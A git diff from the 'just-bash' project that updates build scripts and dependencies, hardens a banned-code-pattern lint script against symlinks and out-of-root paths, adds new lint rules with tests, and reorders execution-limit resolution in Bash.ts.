--external:../../../vendor/cpython-emscripten/* && cp src/commands/python3/worker.js dist/commands/python3/worker.js && mkdir -p dist/bin/chunks && cp src/commands/python3/worker.js dist/bin/chunks/worker.js && mkdir -p dist/bundle/chunks && cp src/commands/python3/worker.js dist/bundle/chunks/worker.js && esbuild src/commands/js-exec/js-exec-worker.ts --bundle --platform=node --format=esm --outfile=src/commands/js-exec/js-exec-worker.js --external:quickjs-emscripten && cp src/commands/js-exec/js-exec-worker.js dist/commands/js-exec/js-exec-worker.js && cp src/commands/js-exec/js-exec-worker.js dist/bin/chunks/js-exec-worker.js && cp src/commands/js-exec/js-exec-worker.js dist/bundle/chunks/js-exec-worker.js && esbuild src/commands/sqlite3/worker.ts --bundle --platform=node --format=esm --outfile=src/commands/sqlite3/worker.js --external:sql.js && mkdir -p dist/commands/sqlite3 && cp src/commands/sqlite3/worker.js dist/commands/sqlite3/worker.js && cp src/commands/sqlite3/worker.js dist/bin/chunks/sqlite3-worker.js && cp src/commands/sqlite3/worker.js dist/bundle/chunks/sqlite3-worker.js", "build:lib": "esbuild dist/index.js --bundle --splitting --platform=node --format=esm --minify --outdir=dist/bundle --chunk-names=chunks/[name]-[hash] --banner:js='import{createRequire} from\"node:module\";const require=createRequire(import.meta.url);' --external:diff --external:minimatch --external:sprintf-js --external:turndown --external:sql.js --external:quickjs-emscripten --external:@mongodb-js/zstd --external:node-liblzma --external:seek-bzip", "build:lib:cjs": "esbuild dist/index.js --bundle --platform=node --format=cjs --minify --outfile=dist/bundle/index.cjs --external:diff --external:minimatch --external:sprintf-js --external:turndown --external:sql.js --external:quickjs-emscripten --external:@mongodb-js/zstd --external:node-liblzma --external:seek-bzip", - "build:browser": "esbuild dist/browser.js --bundle --platform=browser --format=esm --minify --outfile=dist/bundle/browser.js --external:diff --external:minimatch --external:sprintf-js --external:turndown --external:node:zlib --external:@mongodb-js/zstd --external:node-liblzma --external:seek-bzip --define:__BROWSER__=true --alias:node:dns=./src/shims/browser-unsupported.js", + "build:browser": "esbuild dist/browser.js --bundle --platform=browser --format=esm --minify --outfile=dist/bundle/browser.js --external:diff --external:minimatch --external:sprintf-js --external:turndown --external:undici --external:node:zlib --external:@mongodb-js/zstd --external:node-liblzma --external:seek-bzip --define:__BROWSER__=true --alias:node:async_hooks=./src/shims/browser-unsupported.js --alias:node:dns=./src/shims/browser-unsupported.js --alias:node:module=./src/shims/browser-unsupported.js", "build:cli": "esbuild dist/cli/just-bash.js --bundle --splitting --platform=node --format=esm --minify --outdir=dist/bin --entry-names=[name] --chunk-names=chunks/[name]-[hash] --banner:js='#!/usr/bin/env node\nimport{createRequire} from\"node:module\";const require=createRequire(import.meta.url);' --external:sql.js --external:quickjs-emscripten --external:@mongodb-js/zstd --external:node-liblzma --external:seek-bzip", "build:shell": "esbuild dist/cli/shell.js --bundle --splitting --platform=node --format=esm --minify --outdir=dist/bin/shell --entry-names=[name] --chunk-names=chunks/[name]-[hash] --banner:js='#!/usr/bin/env node\nimport{createRequire} from\"node:module\";const require=createRequire(import.meta.url);' --external:sql.js --external:quickjs-emscripten --external:@mongodb-js/zstd --external:node-liblzma --external:seek-bzip", "prepublishOnly": "pnpm test:dist", @@ -84,8 +87,8 @@ "test:coverage:unit": "vitest run --config vitest.unit.config.ts --coverage", "test:fuzz": "vitest run src/security/fuzzing/", "test:fuzz:long": "FUZZ_RUNS=10000 vitest run src/security/fuzzing/", - "shell": "npx tsx src/cli/shell.ts", - "dev:exec": "npx tsx src/cli/exec.ts" + "shell": "tsx src/cli/shell.ts", + "dev:exec": "tsx src/cli/exec.ts" }, "keywords": [], "author": "Malte and Claude", @@ -101,11 +104,11 @@ "esbuild": "^0.27.2", "fast-check": "^3.23.2", "knip": "^5.41.1", + "tsx": "^4.21.0", "typescript": "^5.9.3", "vitest": "^4.0.16" }, "dependencies": { - "seek-bzip": "^2.0.0", "diff": "^8.0.2", "fast-xml-parser": "^5.7.3", "file-type": "^21.2.0", @@ -115,10 +118,12 @@ "papaparse": "^5.5.3", "quickjs-emscripten": "^0.32.0", "re2js": "^1.2.1", + "seek-bzip": "^2.0.0", "smol-toml": "^1.6.0", "sprintf-js": "^1.1.3", "sql.js": "^1.13.0", "turndown": "^7.2.2", + "undici": "^7.25.0", "yaml": "^2.8.2" }, "optionalDependencies": { diff --git a/packages/just-bash/scripts/check-banned-patterns.js b/packages/just-bash/scripts/check-banned-patterns.js index 7a5df5b0d..74280d377 100644 --- a/packages/just-bash/scripts/check-banned-patterns.js +++ b/packages/just-bash/scripts/check-banned-patterns.js @@ -13,8 +13,18 @@ * const COLORS: Record = { red: "#f00" }; */ -import { readdirSync, readFileSync, statSync } from "node:fs"; -import { join, relative } from "node:path"; +import { + closeSync, + constants, + fstatSync, + lstatSync, + openSync, + readdirSync, + readFileSync, + realpathSync, +} from "node:fs"; +import { isAbsolute, join, relative, resolve, sep } from "node:path"; +import { fileURLToPath } from "node:url"; /** * @typedef {Object} BannedPattern @@ -23,7 +33,9 @@ import { join, relative } from "node:path"; * @property {string} message - Explanation of why it's banned * @property {string[]} solutions - Suggested fixes * @property {RegExp[]} [autoSafe] - Patterns that make a line automatically safe + * @property {RegExp[]} [fileAutoSafe] - Patterns that make the containing file safe * @property {RegExp} [filePattern] - Optional file path regex to scope the rule + * @property {boolean} [scanSecurity] - Run this rule in audited security modules */ /** @type {BannedPattern[]} */ @@ -520,9 +532,224 @@ const BANNED_PATTERNS = [ ], autoSafe: [/wrapWasmCallback\s*\(/], }, + { + name: "Non-portable AbortSignal composition", + pattern: + /^(?!\s*(?:\/\/|\/?\*)).*\bAbortSignal\s*\.\s*(?:any|timeout)\s*\(/, + filePattern: /src\/(?!.*\.test\.ts$).*\.ts$/, + message: + "AbortSignal.any/timeout are not available in every supported runtime and\n" + + "make listener cleanup difficult to audit.", + solutions: [ + "Use combineAbortSignals(...) from abort-signals.ts", + "Use an injected timer plus a finally-safe cleanup callback", + ], + }, + { + name: "Stack text used as a security decision", + pattern: + /\b(?:stack|errorStack)\s*(?:\?\.)?\.\s*(?:includes|match|indexOf)\s*\(/, + filePattern: /src\/security\/(?!.*\.test\.ts$).*\.ts$/, + scanSecurity: true, + message: + "Error stacks are forgeable, runtime-dependent diagnostics and cannot be\n" + + "used to authorize module loading or trusted operations.", + solutions: [ + "Use an unforgeable lexical or AsyncLocalStorage capability", + "Complete trusted bootstrap before guest execution begins", + ], + }, + { + name: "Forgeable diagnostic used as a security decision", + pattern: + /\b(?:message|sourceURL|fileName|filename|functionName|constructor\s*\.\s*name)\b[^\n]*(?:\.\s*(?:includes|match|indexOf|startsWith|endsWith)\s*\(|={2,3}|!={1,2})/, + filePattern: /src\/security\/(?!fuzzing\/)(?!.*\.test\.ts$).*\.ts$/, + scanSecurity: true, + message: + "Error text, source URLs, filenames, and function names are forgeable diagnostics.\n" + + "They must not grant security capabilities or authorize trusted operations.", + solutions: [ + "Use a private lexical capability or exact object identity", + "Keep diagnostics for audit output only, never authorization", + ], + }, + { + name: "Optional command limit with literal fallback", + pattern: /\bctx\.limits\?\.\w+\s*\?\?\s*(?:\d|Number\.)/, + filePattern: /src\/(?:commands|interpreter)\/.*\.ts$/, + message: + "CommandContext.limits is fully resolved. Optional access plus a local literal\n" + + "silently forks defaults from the central limit schema.", + solutions: [ + "Read ctx.limits. directly", + "Add a named resource field to the central limit schema when needed", + ], + }, + { + name: "Raw fetch in secured network path", + pattern: /(? safePat.test(content))) { + return { safe: true, usedIgnoreComment: null }; + } + } + // Check for @banned-pattern-ignore comment on current line or up to 2 lines before // (to allow for other ignore comments like biome-ignore between) for (let offset = 0; offset <= 2; offset++) { @@ -658,12 +898,33 @@ function scanFile(filePath) { return; } - const content = readFileSync(filePath, "utf-8"); + let fd; + let content; + try { + const before = lstatSync(filePath, { bigint: true }); + if (before.isSymbolicLink()) { + throw new Error("symbolic link rejected"); + } + const noFollow = constants.O_NOFOLLOW ?? 0; + fd = openSync(filePath, constants.O_RDONLY | noFollow); + const opened = fstatSync(fd, { bigint: true }); + if (before.dev !== opened.dev || before.ino !== opened.ino) { + throw new Error("file identity changed before read"); + } + content = readFileSync(fd, "utf-8"); + } finally { + if (fd !== undefined) closeSync(fd); + } const lines = content.split("\n"); + const isSecurityModule = /src\/security\//.test(filePath); // First pass: collect all ignore comments in this file for (let i = 0; i < lines.length; i++) { if (IGNORE_COMMENT.test(lines[i])) { + // Security modules intentionally opt in to only their dedicated rules. + // Suppressions for the broad rules are therefore outside this scan's + // scope and must not be misreported as unused. + if (isSecurityModule) continue; ignoreComments.push({ file: filePath, line: i + 1, @@ -678,6 +939,9 @@ function scanFile(filePath) { const line = lines[i]; for (const pattern of BANNED_PATTERNS) { + if (isSecurityModule && pattern.scanSecurity !== true) { + continue; + } if (pattern.filePattern && !pattern.filePattern.test(filePath)) { continue; } @@ -725,19 +989,96 @@ function getContext(lines, lineIndex) { return contextLines.join("\n"); } +let rootDir = process.cwd(); +let canonicalRootDir = realpathSync(rootDir); +/** @type {{ path: string; reason: string }[]} */ +let scanErrors = []; +let visitedDirectories = new Set(); + +function safeRelativePath(path) { + const rel = relative(rootDir, path); + return rel === "" + ? "." + : rel === ".." || rel.startsWith(`..${sep}`) || isAbsolute(rel) + ? "" + : rel; +} + +function isWithinRoot(canonicalPath) { + const rel = relative(canonicalRootDir, canonicalPath); + return ( + rel === "" || + (rel !== ".." && !rel.startsWith(`..${sep}`) && !isAbsolute(rel)) + ); +} + +function recordScanError(path, reason) { + scanErrors.push({ path: safeRelativePath(path), reason }); +} + /** * Recursively scan directory * @param {string} dir */ function scanDirectory(dir) { - const entries = readdirSync(dir); + let dirStat; + let canonicalDir; + try { + dirStat = lstatSync(dir); + if (dirStat.isSymbolicLink()) { + recordScanError(dir, "symbolic link directory rejected"); + return; + } + canonicalDir = realpathSync(dir); + } catch { + recordScanError(dir, "directory metadata could not be read"); + return; + } + + if (!isWithinRoot(canonicalDir)) { + recordScanError(dir, "directory resolves outside scan root"); + return; + } + + // Canonical paths avoid truncated or zero inode collisions on platforms + // where number-valued fs identities are not reliable. + const identity = canonicalDir; + if (visitedDirectories.has(identity)) { + return; + } + visitedDirectories.add(identity); + + let entries; + try { + entries = readdirSync(dir); + } catch { + recordScanError(dir, "directory contents could not be read"); + return; + } for (const entry of entries) { const fullPath = join(dir, entry); if (SKIP_PATH_PATTERNS.some((pattern) => pattern.test(fullPath))) { continue; } - const stat = statSync(fullPath); + let stat; + let canonicalPath; + try { + stat = lstatSync(fullPath); + if (stat.isSymbolicLink()) { + recordScanError(fullPath, "symbolic link rejected"); + continue; + } + canonicalPath = realpathSync(fullPath); + } catch { + recordScanError(fullPath, "entry metadata could not be read"); + continue; + } + + if (!isWithinRoot(canonicalPath)) { + recordScanError(fullPath, "entry resolves outside scan root"); + continue; + } if (stat.isDirectory()) { // Skip generated/third-party directories @@ -750,98 +1091,139 @@ function scanDirectory(dir) { entry.endsWith(".mjs") || entry.endsWith(".cjs") ) { - scanFile(fullPath); + try { + scanFile(fullPath); + } catch { + recordScanError(fullPath, "file contents could not be read"); + } } } } -// Main -const rootDir = process.cwd(); +/** + * Run one isolated scan. State is reset per call so embedders and tests cannot + * inherit directory identities, findings, or ignore usage from a prior root. + * + * @param {string} [scanRoot] + * @param {{ report?: boolean }} [options] + */ +export function runScanner(scanRoot = process.cwd(), options = {}) { + rootDir = resolve(scanRoot); + canonicalRootDir = realpathSync(rootDir); + violations = []; + ignoreComments = []; + scanErrors = []; + visitedDirectories = new Set(); -for (const dir of SCAN_DIRS) { - const fullDir = join(rootDir, dir); - try { - scanDirectory(fullDir); - } catch (err) { - console.error(`Error scanning ${dir}: ${err.message}`); + for (const dir of SCAN_DIRS) { + scanDirectory(join(rootDir, dir)); } -} - -// Check for unused ignore comments -const unusedIgnores = ignoreComments.filter((c) => !c.used); -let hasErrors = false; + const unusedIgnores = ignoreComments.filter((c) => !c.used); + let hasErrors = scanErrors.length > 0; + const report = options.report !== false; -if (violations.length > 0) { - hasErrors = true; - // Group violations by pattern - /** @type {Map} */ - const byPattern = new Map(); - for (const v of violations) { - const key = v.pattern.name; - if (!byPattern.has(key)) { - byPattern.set(key, []); + if (report && scanErrors.length > 0) { + console.error("\n\x1b[31m✖ Incomplete security scan\x1b[0m\n"); + for (const error of scanErrors) { + console.error(`${error.path}: ${error.reason}`); } - byPattern.get(key).push(v); + console.error( + `\n\x1b[31m✖ ${scanErrors.length} scan error(s); results are not complete\x1b[0m\n`, + ); + } + + if (violations.length > 0) { + hasErrors = true; } + if (report && violations.length > 0) { + // Group violations by pattern + /** @type {Map} */ + const byPattern = new Map(); + for (const v of violations) { + const key = v.pattern.name; + if (!byPattern.has(key)) { + byPattern.set(key, []); + } + byPattern.get(key).push(v); + } - console.error("\n\x1b[31m✖ Banned Code Patterns Detected\x1b[0m\n"); + console.error("\n\x1b[31m✖ Banned Code Patterns Detected\x1b[0m\n"); - for (const [patternName, patternViolations] of byPattern) { - const pattern = patternViolations[0].pattern; + for (const [patternName, patternViolations] of byPattern) { + const pattern = patternViolations[0].pattern; + + console.error(`\x1b[33m━━━ ${patternName} ━━━\x1b[0m\n`); + console.error(pattern.message); + console.error(""); + console.error("\x1b[33mSolutions:\x1b[0m"); + for (const solution of pattern.solutions) { + console.error(` • ${solution}`); + } + console.error(""); + console.error( + "\x1b[33mTo opt-out, add a comment explaining why it's safe:\x1b[0m", + ); + console.error( + " // @banned-pattern-ignore: static keys only, never accessed with user input\n", + ); + console.error( + `\x1b[31mViolations (${patternViolations.length}):\x1b[0m\n`, + ); - console.error(`\x1b[33m━━━ ${patternName} ━━━\x1b[0m\n`); - console.error(pattern.message); - console.error(""); - console.error("\x1b[33mSolutions:\x1b[0m"); - for (const solution of pattern.solutions) { - console.error(` • ${solution}`); + for (const v of patternViolations) { + const relPath = relative(rootDir, v.file); + console.error(`\x1b[36m${relPath}:${v.line}\x1b[0m`); + console.error(v.context); + console.error(""); + } } - console.error(""); + console.error( - "\x1b[33mTo opt-out, add a comment explaining why it's safe:\x1b[0m", + `\x1b[31m✖ ${violations.length} total violation(s) found\x1b[0m\n`, ); + } + + if (unusedIgnores.length > 0) { + hasErrors = true; + } + if (report && unusedIgnores.length > 0) { console.error( - " // @banned-pattern-ignore: static keys only, never accessed with user input\n", + "\n\x1b[31m✖ Unused @banned-pattern-ignore Comments\x1b[0m\n", + ); + console.error( + "The following ignore comments don't suppress any banned pattern.\n" + + "Remove them or ensure the pattern they're meant to suppress is correct.\n", ); - console.error(`\x1b[31mViolations (${patternViolations.length}):\x1b[0m\n`); - for (const v of patternViolations) { - const relPath = relative(rootDir, v.file); - console.error(`\x1b[36m${relPath}:${v.line}\x1b[0m`); - console.error(v.context); + for (const ignore of unusedIgnores) { + const relPath = relative(rootDir, ignore.file); + console.error(`\x1b[36m${relPath}:${ignore.line}\x1b[0m`); + console.error(` ${ignore.content}`); console.error(""); } - } - - console.error( - `\x1b[31m✖ ${violations.length} total violation(s) found\x1b[0m\n`, - ); -} -if (unusedIgnores.length > 0) { - hasErrors = true; - console.error("\n\x1b[31m✖ Unused @banned-pattern-ignore Comments\x1b[0m\n"); - console.error( - "The following ignore comments don't suppress any banned pattern.\n" + - "Remove them or ensure the pattern they're meant to suppress is correct.\n", - ); + console.error( + `\x1b[31m✖ ${unusedIgnores.length} unused ignore comment(s) found\x1b[0m\n`, + ); + } - for (const ignore of unusedIgnores) { - const relPath = relative(rootDir, ignore.file); - console.error(`\x1b[36m${relPath}:${ignore.line}\x1b[0m`); - console.error(` ${ignore.content}`); - console.error(""); + if (report && !hasErrors) { + console.log("\x1b[32m✓ No banned patterns detected\x1b[0m"); } - console.error( - `\x1b[31m✖ ${unusedIgnores.length} unused ignore comment(s) found\x1b[0m\n`, - ); + return { + hasErrors, + violations: [...violations], + scanErrors: [...scanErrors], + unusedIgnores: [...unusedIgnores], + }; } -if (hasErrors) { - process.exit(1); -} else { - console.log("\x1b[32m✓ No banned patterns detected\x1b[0m"); - process.exit(0); +const isMain = + process.argv[1] !== undefined && + resolve(process.argv[1]) === fileURLToPath(import.meta.url); +if (isMain) { + const result = runScanner(); + process.exitCode = result.hasErrors ? 1 : 0; } diff --git a/packages/just-bash/scripts/check-banned-patterns.test.ts b/packages/just-bash/scripts/check-banned-patterns.test.ts new file mode 100644 index 000000000..cf73f184b --- /dev/null +++ b/packages/just-bash/scripts/check-banned-patterns.test.ts @@ -0,0 +1,297 @@ +import { spawnSync } from "node:child_process"; +import { + mkdirSync, + mkdtempSync, + rmSync, + symlinkSync, + writeFileSync, +} from "node:fs"; +import { tmpdir } from "node:os"; +import { dirname, join } from "node:path"; +import { fileURLToPath } from "node:url"; +import { afterEach, describe, expect, it } from "vitest"; +import { runScanner } from "./check-banned-patterns.js"; + +const scriptPath = join( + dirname(fileURLToPath(import.meta.url)), + "check-banned-patterns.js", +); +const cleanup: string[] = []; + +function tempDirectory(prefix: string): string { + const dir = mkdtempSync(join(tmpdir(), prefix)); + cleanup.push(dir); + return dir; +} + +function runScannerCli(cwd: string) { + return spawnSync(process.execPath, [scriptPath], { + cwd, + encoding: "utf8", + }); +} + +afterEach(() => { + for (const dir of cleanup.splice(0)) { + rmSync(dir, { recursive: true, force: true }); + } +}); + +describe("check-banned-patterns filesystem boundary", () => { + it("rejects an external file symlink without reading its contents", () => { + const root = tempDirectory("just-bash-lint-root-"); + const outside = tempDirectory("just-bash-lint-outside-"); + const secret = "EXTERNAL_SECRET_CANARY"; + writeFileSync(join(outside, "secret.ts"), `${secret}\nconst bad = {};\n`); + symlinkSync(join(outside, "secret.ts"), join(root, "linked.ts")); + + const result = runScannerCli(root); + + expect(result.status).toBe(1); + expect(result.stdout).toBe(""); + expect(result.stderr).toContain("linked.ts: symbolic link rejected"); + expect(result.stderr).toContain("Incomplete security scan"); + expect(result.stderr).not.toContain(secret); + }); + + it("continues scanning after an entry error and reports later violations", () => { + const root = tempDirectory("just-bash-lint-errors-"); + mkdirSync(join(root, "src")); + symlinkSync(join(root, "missing.ts"), join(root, "src", "a-broken.ts")); + writeFileSync(join(root, "src", "z-bad.ts"), "const unsafe = {};\n"); + + const result = runScannerCli(root); + + expect(result.status).toBe(1); + expect(result.stderr).toContain("src/a-broken.ts: symbolic link rejected"); + expect(result.stderr).toContain("Banned Code Patterns Detected"); + expect(result.stderr).toContain("src/z-bad.ts:1"); + expect(result.stderr).not.toContain("No banned patterns detected"); + }); + + it("succeeds only after a complete clean scan", () => { + const root = tempDirectory("just-bash-lint-clean-"); + mkdirSync(join(root, "src")); + writeFileSync(join(root, "src", "safe.ts"), "const safe = new Map();\n"); + + const result = runScannerCli(root); + + expect(result.status).toBe(0); + expect(result.stderr).toBe(""); + expect(result.stdout).toContain("No banned patterns detected"); + }); + + it("accepts a legitimate path segment beginning with two dots", () => { + const root = tempDirectory("just-bash-lint-dot-name-"); + writeFileSync(join(root, "..safe.ts"), "const safe = new Map();\n"); + + const result = runScanner(root, { report: false }); + + expect(result.hasErrors).toBe(false); + expect(result.scanErrors).toEqual([]); + }); + + it("does not scan generated finding and planning inputs", () => { + const root = tempDirectory("just-bash-lint-inputs-"); + mkdirSync(join(root, ".deepsec")); + mkdirSync(join(root, "todo")); + writeFileSync(join(root, ".deepsec", "finding.ts"), "const bad = {};\n"); + writeFileSync(join(root, "todo", "plan.ts"), "const bad = {};\n"); + writeFileSync(join(root, "safe.ts"), "const safe = new Map();\n"); + + expect(runScanner(root, { report: false }).hasErrors).toBe(false); + }); + + it("resets findings and visited-directory state for every invocation", () => { + const badRoot = tempDirectory("just-bash-lint-reset-bad-"); + const goodRoot = tempDirectory("just-bash-lint-reset-good-"); + writeFileSync(join(badRoot, "bad.ts"), "const unsafe = {};\n"); + writeFileSync(join(goodRoot, "good.ts"), "const safe = new Map();\n"); + + const first = runScanner(badRoot, { report: false }); + const second = runScanner(goodRoot, { report: false }); + + expect(first.violations).toHaveLength(1); + expect(second.hasErrors).toBe(false); + expect(second.violations).toEqual([]); + }); + + it.each([ + [ + "non-portable abort composition", + "src/runtime.ts", + "const signal = AbortSignal.any(signals);\n", + "Non-portable AbortSignal composition", + ], + [ + "stack-based authorization", + "src/security/gate.ts", + 'const trusted = errorStack.includes("node:internal/modules/cjs/loader");\n', + "Stack text used as a security decision", + ], + [ + "fresh nested execution engines", + "src/interpreter/nested.ts", + "const interpreter = new Interpreter(options, state);\n", + "Execution engine constructed outside Bash", + ], + ])("rejects %s", (_name, relativePath, source, violationName) => { + const root = tempDirectory("just-bash-lint-rule-"); + const fullPath = join(root, relativePath); + mkdirSync(dirname(fullPath), { recursive: true }); + writeFileSync(fullPath, source); + + const result = runScannerCli(root); + + expect(result.status).toBe(1); + expect(result.stderr).toContain(violationName); + }); + + it.each([ + [ + "forgeable security diagnostics", + "src/security/gate.ts", + 'const trusted = error.message.includes("trusted loader");\n', + "Forgeable diagnostic used as a security decision", + ], + [ + "optional local limit defaults", + "src/commands/example.ts", + "const max = ctx.limits?.maxOutputSize ?? 1024;\n", + "Optional command limit with literal fallback", + ], + [ + "raw secured fetch", + "src/network/fetch.ts", + "const response = fetch(currentUrl, options);\n", + "Raw fetch in secured network path", + ], + [ + "whole-buffer decompression", + "src/commands/archive.ts", + "const output = gunzipSync(input);\n", + "Whole-buffer decompression outside codec boundary", + ], + [ + "host filesystem imports in commands", + "src/commands/unsafe.ts", + 'import { readFile } from "node:fs/promises";\n', + "Restricted Node filesystem import", + ], + [ + "raw path-prefix containment", + "src/fs/containment.ts", + 'const inside = !relative.startsWith("..");\n', + "Unsafe path-prefix containment", + ], + [ + "dynamic string amplification", + "src/commands/example.ts", + 'const output = "x".repeat(width);\n', + "Unchecked dynamic string or array amplification", + ], + [ + "array-join amplification", + "src/commands/example.ts", + 'const output = Array(count).fill("x").join("");\n', + "Unchecked array construction followed by join", + ], + [ + "allocating byte measurement", + "src/commands/example.ts", + "const bytes = new TextEncoder().encode(input).length;\n", + "Allocating UTF-8 byte-length measurement", + ], + [ + "unbounded interpreter output", + "src/interpreter/interpreter.ts", + "stdout += result.stdout;\n", + "Unbounded interpreter output accumulation", + ], + [ + "fatal catch swallowing", + "src/commands/example.ts", + "try { run(); } catch (error) { return fallback; }\n", + "Fatal execution error swallowed by catch", + ], + [ + "raw filesystem error returns", + "src/fs/adapter.ts", + "return { error: error.message };\n", + "Raw filesystem error returned from adapter", + ], + [ + "workers without request controller", + "src/commands/example.ts", + "const worker = new Worker(path);\n", + "Worker created without shared request controller", + ], + [ + "command-local maximums", + "src/commands/example.ts", + "const MAX_ROWS = 1234;\n", + "Undocumented command-local MAX constant", + ], + ])("rejects %s", (_name, relativePath, source, violationName) => { + const root = tempDirectory("just-bash-lint-policy-"); + const fullPath = join(root, relativePath); + mkdirSync(dirname(fullPath), { recursive: true }); + writeFileSync(fullPath, source); + + const result = runScanner(root, { report: false }); + + expect(result.violations.map((item) => item.pattern.name)).toContain( + violationName, + ); + }); + + it("accepts reviewed gates and shared worker controller adoption", () => { + const root = tempDirectory("just-bash-lint-approved-"); + mkdirSync(join(root, "src", "fs"), { recursive: true }); + mkdirSync(join(root, "src", "commands"), { recursive: true }); + writeFileSync( + join(root, "src", "fs", "gate.ts"), + 'import { openSync } from "node:fs";\nconst safe = new Map();\n', + ); + writeFileSync( + join(root, "src", "commands", "worker.ts"), + 'import { WorkerRequestController } from "../worker-request-controller.js";\n// @banned-pattern-ignore: constructor is owned by the request controller created below\nconst worker = new Worker(path);\nconst controller = new WorkerRequestController(worker);\n', + ); + + expect(runScanner(root, { report: false }).hasErrors).toBe(false); + }); + + it("does not let one controller token exempt a second unmanaged Worker", () => { + const root = tempDirectory("just-bash-lint-worker-scope-"); + const file = join(root, "src", "commands", "worker.ts"); + mkdirSync(dirname(file), { recursive: true }); + writeFileSync( + file, + 'import { WorkerRequestController } from "../worker-request-controller.js";\n// @banned-pattern-ignore: first constructor is owned by its request controller\nconst first = new Worker(firstPath);\nconst controller = new WorkerRequestController(first);\nconst unmanaged = new Worker(secondPath);\n', + ); + + const result = runScanner(root, { report: false }); + const workerFindings = result.violations.filter( + (item) => + item.pattern.name === + "Worker created without shared request controller", + ); + expect(workerFindings).toHaveLength(1); + expect(workerFindings[0].content).toContain("secondPath"); + }); + + it("rejects an empty banned-pattern suppression reason", () => { + const root = tempDirectory("just-bash-lint-empty-ignore-"); + const file = join(root, "src", "commands", "worker.ts"); + mkdirSync(dirname(file), { recursive: true }); + writeFileSync( + file, + "// @banned-pattern-ignore:\nconst worker = new Worker(path);\n", + ); + + const result = runScanner(root, { report: false }); + expect(result.violations.map((item) => item.pattern.name)).toContain( + "Worker created without shared request controller", + ); + }); +}); diff --git a/packages/just-bash/src/Bash.commands.test.ts b/packages/just-bash/src/Bash.commands.test.ts index 60c9cd1ed..bf8bae414 100644 --- a/packages/just-bash/src/Bash.commands.test.ts +++ b/packages/just-bash/src/Bash.commands.test.ts @@ -83,14 +83,15 @@ describe("Bash commands filtering", () => { expect((await env.exec("cp /test.txt /test2.txt")).exitCode).toBe(127); }); - it("custom commands can use Node.js APIs with defense-in-depth enabled", async () => { + it("explicitly trusted custom commands can use Node.js APIs", async () => { const env = new Bash({ customCommands: [ { name: "myfetch", + trusted: true, execute: async (_args, _ctx) => { - // Custom command uses setTimeout and fetch — both are blocked - // globals, but should work because commands are trusted. + // Trusted host extensions deliberately run outside the restricted + // command context. await new Promise((r) => setTimeout(r, 1)); return { stdout: "custom-ok\n", stderr: "", exitCode: 0 }; }, diff --git a/packages/just-bash/src/Bash.exec-options.test.ts b/packages/just-bash/src/Bash.exec-options.test.ts index 1d7e1ac32..6e539979c 100644 --- a/packages/just-bash/src/Bash.exec-options.test.ts +++ b/packages/just-bash/src/Bash.exec-options.test.ts @@ -50,6 +50,19 @@ async function waitFor( } describe("exec options", () => { + it("returns exit 124 when the supplied signal is already aborted", async () => { + const controller = new AbortController(); + controller.abort(); + + await expect( + new Bash().exec("echo unreachable", { signal: controller.signal }), + ).resolves.toMatchObject({ + stdout: "", + stderr: "bash: execution aborted\n", + exitCode: 124, + }); + }); + describe("per-exec env", () => { it("should use env vars for single execution", async () => { const env = new Bash(); diff --git a/packages/just-bash/src/Bash.ts b/packages/just-bash/src/Bash.ts index 2b170972a..b565e3c5c 100644 --- a/packages/just-bash/src/Bash.ts +++ b/packages/just-bash/src/Bash.ts @@ -11,6 +11,8 @@ import type { FunctionDefNode } from "./ast/types.js"; // Eagerly import timers to capture references before defense-in-depth patches them import "./timers.js"; +import { combineAbortSignals } from "./abort-signals.js"; +import { utf8ByteLength } from "./commands/printf/escapes.js"; import { type CommandName, createJavaScriptCommands, @@ -24,6 +26,7 @@ import { isLazyCommand, } from "./custom-commands.js"; import { encodeUtf8ToBytes, latin1FromBytes } from "./encoding.js"; +import { ExecutionScope } from "./execution-scope.js"; import { InMemoryFs } from "./fs/in-memory-fs/in-memory-fs.js"; import { initFilesystem } from "./fs/init.js"; import type { IFileSystem, InitialFiles } from "./fs/interface.js"; @@ -40,6 +43,7 @@ import { ExitError, PosixFatalError, } from "./interpreter/errors.js"; +import { cloneArrays } from "./interpreter/helpers/array.js"; import { buildBashopts, buildShellopts, @@ -49,7 +53,11 @@ import { type InterpreterOptions, type InterpreterState, } from "./interpreter/index.js"; -import { type ExecutionLimits, resolveLimits } from "./limits.js"; +import { + type ExecutionLimitProfile, + type ExecutionLimits, + resolveLimits, +} from "./limits.js"; import { createSecureFetch, type NetworkConfig, @@ -62,6 +70,7 @@ import { SecurityViolationError, } from "./security/defense-in-depth-box.js"; import type { DefenseInDepthConfig } from "./security/types.js"; +import { assertSourceWithinLimit } from "./source-limit.js"; import { serialize } from "./transform/serialize.js"; import type { BashTransformResult, @@ -75,7 +84,7 @@ import type { TraceCallback, } from "./types.js"; -export type { ExecutionLimits } from "./limits.js"; +export type { ExecutionLimitProfile, ExecutionLimits } from "./limits.js"; /** * Logger interface for Bash execution logging. @@ -121,6 +130,8 @@ export interface BashOptions { * See ExecutionLimits interface for available options. */ executionLimits?: ExecutionLimits; + /** Named execution-limit preset. Defaults to compatibility-oriented `normal`. */ + executionLimitProfile?: ExecutionLimitProfile; /** * @deprecated Use executionLimits.maxCallDepth instead */ @@ -211,8 +222,8 @@ export interface BashOptions { * * @example * ```ts - * // Simple enable - * const bash = new Bash({ defenseInDepth: true }); + * // Capability-detect the strongest available protection. + * const bash = new Bash({ defenseInDepth: { enabled: "auto" } }); * * // With custom configuration * const bash = new Bash({ @@ -223,6 +234,9 @@ export interface BashOptions { * }, * }); * ``` + * Node versions without context-aware ESM loader hooks retain the scoped + * best-effort controls and report the unavailable loader capability in + * DefenseInDepthStatus. */ defenseInDepth?: DefenseInDepthConfig | boolean; /** @@ -312,7 +326,29 @@ export class Bash { private state: InterpreterState; constructor(options: BashOptions = {}) { - const fs = options.fs ?? new InMemoryFs(options.files); + // Resolve limits before constructing the default filesystem so retained + // virtual storage follows the same host-selected policy as execution. + this.limits = resolveLimits( + { + ...options.executionLimits, + // Support deprecated individual options (they override executionLimits if set) + ...(options.maxCallDepth !== undefined && { + maxCallDepth: options.maxCallDepth, + }), + ...(options.maxCommandCount !== undefined && { + maxCommandCount: options.maxCommandCount, + }), + ...(options.maxLoopIterations !== undefined && { + maxLoopIterations: options.maxLoopIterations, + }), + }, + options.executionLimitProfile, + ); + const fs = + options.fs ?? + new InMemoryFs(options.files, { + maxTotalBytes: this.limits.maxFileSystemBytes, + }); this.fs = fs; this.useDefaultLayout = !options.cwd && !options.files; @@ -333,21 +369,6 @@ export class Bash { ...Object.entries(options.env ?? {}), ]); - // Resolve limits: new executionLimits takes precedence, then deprecated individual options - this.limits = resolveLimits({ - ...options.executionLimits, - // Support deprecated individual options (they override executionLimits if 